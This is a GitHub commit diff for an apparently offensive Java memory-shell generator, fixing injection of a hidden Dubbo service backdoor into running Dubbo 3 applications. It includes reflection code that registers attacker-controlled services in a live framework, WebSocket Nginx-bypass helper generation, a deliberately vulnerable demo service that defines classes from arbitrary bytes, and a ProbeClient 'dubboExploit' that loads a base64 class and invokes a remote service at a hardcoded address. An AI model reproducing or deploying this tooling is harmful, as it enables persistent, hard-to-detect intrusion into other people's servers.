Skip to content

Commit e793d57

Browse files
committed
fix: dubbo3 inject failed
1 parent cf8f731 commit e793d57

File tree

20 files changed

+385
-200
lines changed

20 files changed

+385
-200
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -64,19 +64,24 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
6464
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
6565

6666
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
67-
String interfaceName = shellToolConfig.getShellClassName() + "$1";
67+
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
68+
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
69+
String interfaceName = packageName + ".I" + simpleName;
70+
injectorConfig.setInjectorHelperClassName(interfaceName);
6871
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
6972
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
7073
String urlPattern = injectorConfig.getUrlPattern();
7174
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
7275
|| StringUtils.isBlank(urlPattern)) {
73-
injectorConfig.setUrlPattern(shellToolConfig.getShellClassName());
76+
injectorConfig.setUrlPattern(interfaceName);
7477
}
7578
}
7679

7780
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
7881
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
79-
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
82+
String helperClassName = shellToolConfig.getShellClassName() + "$1";
83+
injectorConfig.setInjectorHelperClassName(helperClassName);
84+
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
8085
}
8186

8287
injectorConfig.setInjectorClass(injectorClass);

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,11 @@ public class InjectorConfig {
4343
*/
4444
private byte[] shellClassBytes;
4545

46+
/**
47+
* 辅助类类名
48+
*/
49+
private String injectorHelperClassName;
50+
4651
/**
4752
* 辅助类字节码
4853
*/

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
* @since 2026/1/13
1919
*/
2020
public class WebSocketByPassHelperGenerator {
21-
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
21+
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
2222
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
2323
if (headerPair == null) {
2424
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -30,7 +30,7 @@ public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellTool
3030
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
3131
.field(named("headerName")).value(headerPair.getKey())
3232
.field(named("headerValue")).value(headerPair.getValue())
33-
.name(shellToolConfig.getShellClassName() + "$1");
33+
.name(helperClassName);
3434
if (shellConfig.isJakarta()) {
3535
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
3636
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java

Lines changed: 37 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
import org.apache.dubbo.config.ProtocolConfig;
77
import org.apache.dubbo.config.RegistryConfig;
88
import org.apache.dubbo.config.ServiceConfig;
9-
import org.apache.dubbo.config.ServiceConfigBase;
109
import org.apache.dubbo.config.context.ConfigManager;
1110
import org.apache.dubbo.rpc.model.ApplicationModel;
1211

@@ -152,9 +151,43 @@ public String registerService() throws Throwable {
152151
}
153152
}
154153

154+
@SuppressWarnings("all")
155155
private boolean isPathRegisteredInFramework(String path) {
156-
Collection<ServiceConfigBase> services = ApplicationModel.getConfigManager().getServices();
157-
return services.stream().anyMatch(s -> path.equals(s.getPath()));
156+
try {
157+
for (Object service : getRegisteredServices()) {
158+
try {
159+
Method getPath = service.getClass().getMethod("getPath");
160+
if (path.equals(getPath.invoke(service))) {
161+
return true;
162+
}
163+
} catch (Exception ignored) {
164+
}
165+
}
166+
} catch (Exception ignored) {
167+
}
168+
return false;
169+
}
170+
171+
@SuppressWarnings("all")
172+
private Collection<?> getRegisteredServices() {
173+
try {
174+
ConfigManager configManager = ApplicationModel.getConfigManager();
175+
Method getServices = configManager.getClass().getMethod("getServices");
176+
return (Collection<?>) getServices.invoke(configManager);
177+
} catch (Exception e) {
178+
try {
179+
Method defaultModel = ApplicationModel.class.getMethod("defaultModel");
180+
Object model = defaultModel.invoke(null);
181+
Method getDefaultModule = model.getClass().getMethod("getDefaultModule");
182+
Object moduleModel = getDefaultModule.invoke(model);
183+
Method getConfigManager = moduleModel.getClass().getMethod("getConfigManager");
184+
Object moduleConfigManager = getConfigManager.invoke(moduleModel);
185+
Method getServices = moduleConfigManager.getClass().getMethod("getServices");
186+
return (Collection<?>) getServices.invoke(moduleConfigManager);
187+
} catch (Exception ex) {
188+
return new ArrayList<>();
189+
}
190+
}
158191
}
159192

160193
private String normalizePath(String path) {
@@ -200,6 +233,7 @@ private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfac
200233
serviceConfig.setRef(serviceInstance);
201234
serviceConfig.setPath(path);
202235
serviceConfig.setVersion("1.0.0");
236+
serviceConfig.setProxy("jdk");
203237
serviceConfig.setApplication(configManager.getApplication().orElse(null));
204238

205239
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());

generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -145,7 +145,7 @@ public static String generateShellClassName(String server, String shellType) {
145145
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
146146
}
147147

148-
public static String getSimpleName(String injectorClassName) {
149-
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
148+
public static String getSimpleName(String className) {
149+
return className.substring(className.lastIndexOf(".") + 1);
150150
}
151151
}

settings.gradle.kts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,7 @@ include("generator")
3535
include("thirdparty:thirdparty-tomcat")
3636
include("integration-test")
3737
include("vul:vul-dubbo278")
38+
include("vul:vul-dubbo315")
3839
include("vul:vul-webapp")
3940
include("vul:vul-webapp-jakarta")
4041
include("vul:vul-webapp-expression")

vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java renamed to vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/DefaultDemoService.java

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,11 @@
1-
package com.reajason.javaweb.vuldubbo278;
1+
package com.reajason.javaweb.dubbo;
22

3-
import org.apache.dubbo.common.bytecode.ClassGenerator;
4-
import org.apache.dubbo.common.utils.ClassUtils;
53
import org.apache.dubbo.config.annotation.DubboService;
64
import org.springframework.beans.factory.annotation.Value;
75

86
@DubboService(version = "1.0.0", path = "demo_say_hello")
97
public class DefaultDemoService extends ClassLoader implements DemoService {
108

11-
private final DubboServiceInjector dubboServiceInjector = new DubboServiceInjector();
12-
139
/**
1410
* The default value of ${dubbo.application.name} is ${spring.application.name}
1511
*/
@@ -35,9 +31,4 @@ public String loadBytes(byte[] bytes) {
3531
}
3632
return o.toString();
3733
}
38-
39-
@Override
40-
public String registerService(String path, String interfaceClassName, String implementationClassName) {
41-
return dubboServiceInjector.registerService(path, interfaceClassName, implementationClassName);
42-
}
4334
}
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
package com.reajason.javaweb.dubbo;
2+
3+
public interface DemoService {
4+
5+
String sayHello(String name);
6+
7+
String loadBytes(byte[] bytes);
8+
9+
}

vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java renamed to vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/ProbeClient.java

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.reajason.javaweb.vuldubbo278;
1+
package com.reajason.javaweb.dubbo;
22

33
import com.caucho.hessian.client.HessianProxyFactory;
44
import com.caucho.hessian.io.HessianRemoteObject;
@@ -18,11 +18,11 @@ public class ProbeClient {
1818

1919
public static void main(String[] args) throws Exception {
2020
// dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello");
21-
// try {
22-
// dubboExploit();
23-
// } catch (Exception e) {
24-
// e.printStackTrace();
25-
// }
21+
try {
22+
dubboExploit();
23+
} catch (Exception e) {
24+
e.printStackTrace();
25+
}
2626
// exploit();
2727
}
2828

@@ -58,9 +58,9 @@ public static void dubboSayHello(String url) {
5858
}
5959

6060
public static void dubboExploit() throws Exception {
61-
String url = "dubbo://192.168.31.206:12345/org.apache.http.web.handlers.wJMhG.OAuthDubboService";
62-
String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv1yL98Md31/x9KSDJfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAD+bjiShAAAAA==";
63-
byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b));
61+
String url = "dubbo://198.18.0.1:50051/org.apache.http.web.handlers.VTcIU.AuthDubboService";
62+
String b = "yv66vgAAADQABwEANW9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVlRjSVUvQXV0aER1YmJvU2VydmljZSQxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhhbmRsZQEABihbQilbQgYBAAIABAAAAAAAAQQBAAUABgAAAAA=";
63+
byte[] bytes = Base64.getDecoder().decode(b);
6464
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
6565
defineClass.setAccessible(true);
6666
ClassLoader classLoader = ClassGenerator.class.getClassLoader();
@@ -70,6 +70,7 @@ public static void dubboExploit() throws Exception {
7070
reference.setApplication(new ApplicationConfig("dubbo-consumer"));
7171
reference.setInterface(clazz);
7272
reference.setVersion("1.0.0");
73+
reference.setProxy("jdk");
7374
reference.setUrl(url);
7475

7576
try {

vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java renamed to vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/VulDubbo278Application.java

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,7 @@
1-
package com.reajason.javaweb.vuldubbo278;
1+
package com.reajason.javaweb.dubbo;
22

3-
import org.springframework.boot.ApplicationRunner;
43
import org.springframework.boot.SpringApplication;
54
import org.springframework.boot.autoconfigure.SpringBootApplication;
6-
import org.springframework.context.annotation.Bean;
7-
8-
import javax.script.ScriptEngineManager;
95

106
@SpringBootApplication
117
public class VulDubbo278Application {

0 commit comments

Comments
 (0)